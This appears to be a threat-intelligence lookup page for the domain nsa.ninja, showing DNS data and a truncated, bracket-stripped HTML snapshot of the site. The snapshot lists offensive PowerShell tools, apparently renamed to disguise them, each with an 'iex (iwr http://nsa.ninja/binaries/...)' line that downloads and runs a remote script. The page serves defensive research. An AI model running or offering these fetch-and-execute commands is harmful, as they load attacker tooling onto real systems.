Domain > www.nsa.ninja

More information on this domain is in AlienVault OTX

DNS Resolutions

Date	IP Address
2025-08-11	37.97.138.153 (ClassC)

HTTP/1.1 200 OKServer: nginxDate: Sat, 20 Jul 2024 11:28:51 GMTContent-Type: text/htmlContent-Length: 10817Last-Modified: Mon, 08 Jul 2024 18:27:05 GMTConnection: keep-aliveETag: 668c2f79-2a41Accept-R

!DOCTYPE html>html langen>head>    meta charsetUTF-8>    meta nameviewport contentwidthdevice-width, initial-scale1.0>    link relstylesheet hrefstyle.css>/head>body>    nav>        ul>            strong>0x00/strong>            li>a hrefhttp://nsa.ninja>//a>/li>            li>a hrefhttps://nsa.ninja:8443>/:8443/a>/li>            li>a href/uri.html>URIs/a>/li>            li>a href/win.html>WIN/a>/li>            li>a href/donotclick.html>STRESSTEST/a>/li>        /ul>    /nav>    div idlisting>        /div>    div classlisting>        strong>PS/strong>        div classfile>            a hrefbinaries/winpindas.ps1>                 span classfilename>winpindas.ps1/span>             /a>              span classdescription>iex (iwr http://nsa.ninja/binaries/winpindas.ps1);/span>                     /div>        div classfile>           a hrefbinaries/import-ADModoueleh.ps1>                span classfilename>AD Module/span>            /a>             span classdescription>iex (iwr http://nsa.ninja/binaries/import-ADModoueleh.ps1);/span>                    /div>        div classfile>            a hrefbinaries/poopiedoo.ps1>                span classfilename>p0wrview/span>            /a>            span classdescription>iex (iwr http://nsa.ninja/binaries/poopiedoo.ps1);/span>        /div>        div classfile>            a hrefbinaries/1up.ps1>                span classfilename>1up/span>            /a>            span classdescription>iex (iwr http://nsa.ninja/binaries/1up.ps1);/span>        /div>        div classfile>            a hrefbinaries/httpserv.ps1>                span classfilename>httpserv/span>            /a>            span classdescription>iex (iwr http://nsa.ninja/binaries/httpserv.ps1); httpserv.ps1 -Interface 10.10.10.10 -Port 8080/span>        /div>               div classfile>            a hrefbinaries/certi.ps1>                span classfilename>certi/span>            /a>            span classdescription>iex (iwr http://nsa.ninja/binaries/certi.ps1);/span>        /div>        div classfile>            a

View on OTX | View on ThreatMiner

Data with thanks to AlienVault OTX, VirusTotal, Malwr and others. [Sitemap]

Domain > www.nsa.ninja

Is this malicious?

DNS Resolutions

Port 80